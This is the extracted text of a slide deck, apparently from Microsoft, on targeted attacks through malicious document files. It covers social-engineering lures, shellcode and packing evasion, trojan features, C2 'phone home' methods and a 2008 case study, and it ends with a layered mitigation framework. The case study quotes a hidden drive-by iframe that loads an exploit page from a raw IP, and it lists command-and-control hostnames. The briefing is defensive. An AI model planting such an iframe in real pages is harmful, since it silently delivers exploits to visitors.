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Agenda 

• Introduction to file format based attacks 
• Why do these attacks work? 
• Have they grown more complicated? 
• How do attackers hide their activities? 
• What can we do? 
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Growth of Attacks 

Total Submissions By Year 

2005 Totals 2006 Totals 2007 Totals 2008 Totals 2009 Totals

135% 
increase 250% 

increase 

250% 

Source: Microsoft Malware Protection Center (MMPC)  
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Methodology 

E-mail server 

Web proxy 

Compromised machine 

Control server 
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Free webmail 
Compromised machine 

Control server 

Methodology 
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The Lure Social Engineering 
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Social Engineering 
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Social Engineering 

• Clever use of social engineering techniques 

 Cognitive dissonance 

 Mimicking writing styles 

 Matching content to interest 

 Convincing users to forward messages 

 Backdooring “memes” and viral content 

 Creating a trusted resource 
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The Lure The Attack 
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How Content-Type Attacks Work 

 
 
 
 
 
 
 
 
 
 
 

Vulnerability Shellcode 

Shellcode 

Embedded binary 

Clean document with same context 

Malicious document 

Encrypted stub 
or packed binary 

Loaded after successful  
exploitation 
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Generations of exploits 

• Major changes: 

 Shellcode attempts to evade antivirus and Intrusion Detection 

 Obfuscation techniques 

 File types being exploited 

 The goal and payload of attacks 

 “Phone home” methods 

 

• Quality and reliability of exploits  

 Depends on the vulnerability being exploited 

 Did not change drastically 
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Generations of packing- avoiding detection 
 
 
PE header in plain sight. 
 
 
 
 
 
Simple XOR obfuscation 
 
 
 
 
XOR followed by ROL/ROR 
 
 
 
 
Custom encoders 
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Generations of shellcode– avoiding detection 

• Most static shellcode detectors work by 
identifying common GetPC patterns 
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Generations of shellcode- Anti-emulation 
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Generations of shellcode- API Hooks 
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The Lure The Trojan 
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The Trojan 
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“File Management” 
“Screen Monitor” 
“Keyboard Monitor” 
“Remote Terminal” 
“System Management” 
“Video Monitor” 
“Conversation Management” 
“Others” 

“Select All” 
“Undo Select” 

The Trojan 
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Phone Home Methods 
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DNS Server 

Victim 
Responder 

Phone Home Methods: split horizon 
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Phone Home Methods 
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The Lure Case Study 
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Case Study 
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Case Study 

 

 v_080310.asd 
Nokia_7650_video_en.doc 
 

 Connects to  uprise.lamaonl.com 

 Host name already disabled 
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Case Study 

• April 9, 2008 

• Drive-by exploit on the web site of a UK organization 
 

<iframe src=http://59.120.21.6/img/ft/ex.html width=0 heigh=0></iframe> 

 

• This web location 

• Identifies the user’s web browser 

• Offers an exploit specifically for that version 

• Downloads and runs “ipsec.exe” from a server in Taiwan 

• Connects to control server: 
 
freetibet.lamalive.com 

 

• This hostname stopped resolving after 48 hours 
 

 

http://59.120.21.6/img/ft/ex.html
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Case Study 

• Five months later 
 

+ 2008-07-12 10:20 | freetibet.lamalife.com | 218.30.103.68 

- 2008-08-14 17:46 | freetibet.lamalife.com | 218.30.103.68 

+ 2008-09-21 04:16 | freetibet.lamalife.com | 69.64.155.78 

- 2008-09-25 06:45 | freetibet.lamalife.com | 69.64.155.78 

- 2008-09-26 00:37 | freetibet.lamalife.com | 208.73.210.32 

 

+ 2008-07-12 09:59 | uprise.lamaonl.com | 218.30.103.68 

+ 2008-09-21 04:23 | uprise.lamaonl.com | 69.64.155.75 

+ 2008-09-25 05:08 | uprise.lamaonl.com | 69.64.155.78 

31 
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The Lure Defense 
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Roles and opportunities 

• Software vendors 
 Opt-in to operating system mitigations 

 Have a defined software incident response process 

 Build security into the development lifecycle 

 

• CERTs, WARPs, ISACs 
• Promote sharing of technical incident information 
• Define a process that allows learning during response 

 

• Enterprise 
 Network deployment & design 

 Intelligence-driven Risk Management 
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What Microsoft is doing 

• Build secure software 
 Software Development Lifecycle 

 Significant investment in mitigation technology 

 

• Improve security response 
 Information sharing programs (MAPP, DISP) 

 

• Empower customers 
 Windows Server: ESC, Core installation 

 MOICE, Office File Validation 

 Forensic and mitigation tools 
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Office 

• Office 2003 SP3 security push 

 

 

 

 

 

 

 

 

 

 

• Office File Validation and Protected View 
 

 

Source:  Security Intelligence Report (2009) 
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Exploit mitigations 

Visual Studio 

Windows 

Internet Explorer 

Office 

2003 

2004 

2005 

2006 

2007 

2008 

2009 

2010 

2011 
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EMET: Heap spray pre-allocation 
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Forensic tools 



MAPP program 

http://global.ahnlab.com/
http://www.aladdin.com/
http://www.ca.com/
http://www.checkpoint.com/
http://www.cisco.com/
http://www.diputech.com/
http://www.estsoft.com/
http://www.enterasys.com/
http://www.f-secure.com/
http://www.freescale.com/
http://www.finjan.com/
http://www.fortinet.com/
http://www.gdatasoftware.com/portal/US/
http://www.h3c.com.cn/
http://company.hauri.net/
http://www.ibm.com/
http://www.nprotect.com/
http://www.infosec.co.kr/
http://www.ikarus.at/
http://www.ipolicynetworks.com/
http://www.jiangmin.com/
http://www.juniper.net/
http://www.kaspersky.com/
http://www.leadsec.com.cn/
http://www.landesk.com/
http://www.mcafee.com/
http://www.marshal8e6.com/
http://www.messagelabs.com/
http://www.microsoft.com/security/portal/
http://www.mobocable.com/
http://www.netasq.com/
http://www.network-box.com/
http://www.niksun.com/
http://www.nitrosecurity.com/
http://www.norman.com/
http://www.nowcom.co.kr/
http://www.nsfocus.com/en/
http://www.paloaltonetworks.com/
http://www.pandasecurity.com/
http://www.quarantainenet.com/
http://www.rising.com.cn/
http://www.stsc.co.kr/eng/default.asp
http://www.secui.com/
http://www.secureworks.com/
http://www.sophos.com/
http://www.stonesoft.com/
http://www.sourcefire.com/
http://www.sunbeltsoftware.com/
http://www.symantec.com/
http://www.thirdbrigade.com/
http://www.tippingpoint.com/
http://www.toplayer.com/
http://www.trendmicro.com/
http://www.venusense.com/
http://www.zscaler.com/
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Exfiltration  

Compromise  

Social Engineering 

Infiltration 

Data Access 

Mitigation framework 
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Basic: 
• E-mail security policy 
• Security awareness training 
• Filter external e-mails from the organizational domain 

 
Enhanced: 
• Employ Sender-ID or SPF technology 
• Enhanced awareness training for high value targets 
• Sharing intelligence on attack patterns 
 
Strong: 
• Digitally sign e-mails 
• Web site whitelisting 

Mitigation framework 
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Basic: 
• Anti-virus deployed on the gateway 
• Blocking suspicious attachment types 
• Spam filtering 

 
Enhanced: 
• Re-scan previously accepted attachments on the mail server 
 
Strong: 
• Dynamic execution and validation of attachments 
• Web site whitelisting 

Mitigation framework 
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Basic: 
• Anti-virus 
• Security updates 
• Reduce user privileges on the system 
• Disable document macros 

 
Enhanced: 
• Anti-virus with Host Intrusion Prevention 
• Enable DEP and SEHOP system-wide 
• Harden applications (e.g. block Javascript execution) 
• Use MOICE for Office document security 
• Office File Validation 

 
Strong: 
• Deploy EMET for internet-facing applications 
• Application whitelisting 

Mitigation framework 



Microsoft Corporation | Trustworthy Computing (TWC) 

Basic: 
• Log access to data resources 
• Deploy split horizon DNS 

 
Enhanced: 
• Audit access to data resources 
• Deploy Extended Protection for Authentication (EPA) 
• Correlate data access with network logins 

 
Strong: 
• Multi-factor authentication 
• Segregation of data stores and untrusted network access 

Mitigation framework 
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Basic: 
• Log access to web sites 
• Block outbound network access 
• Use of a content-aware web proxy 

 
Enhanced: 
• Exchange information with CERTs, law enforcement and/or industry partners 
• DNS monitoring, correlation and log analysis 
• Black-list access to specific web sites 
• Deploy DRM and/or data loss prevention tools 

 
Strong: 
• White-list access to specific web sites 

Mitigation framework 
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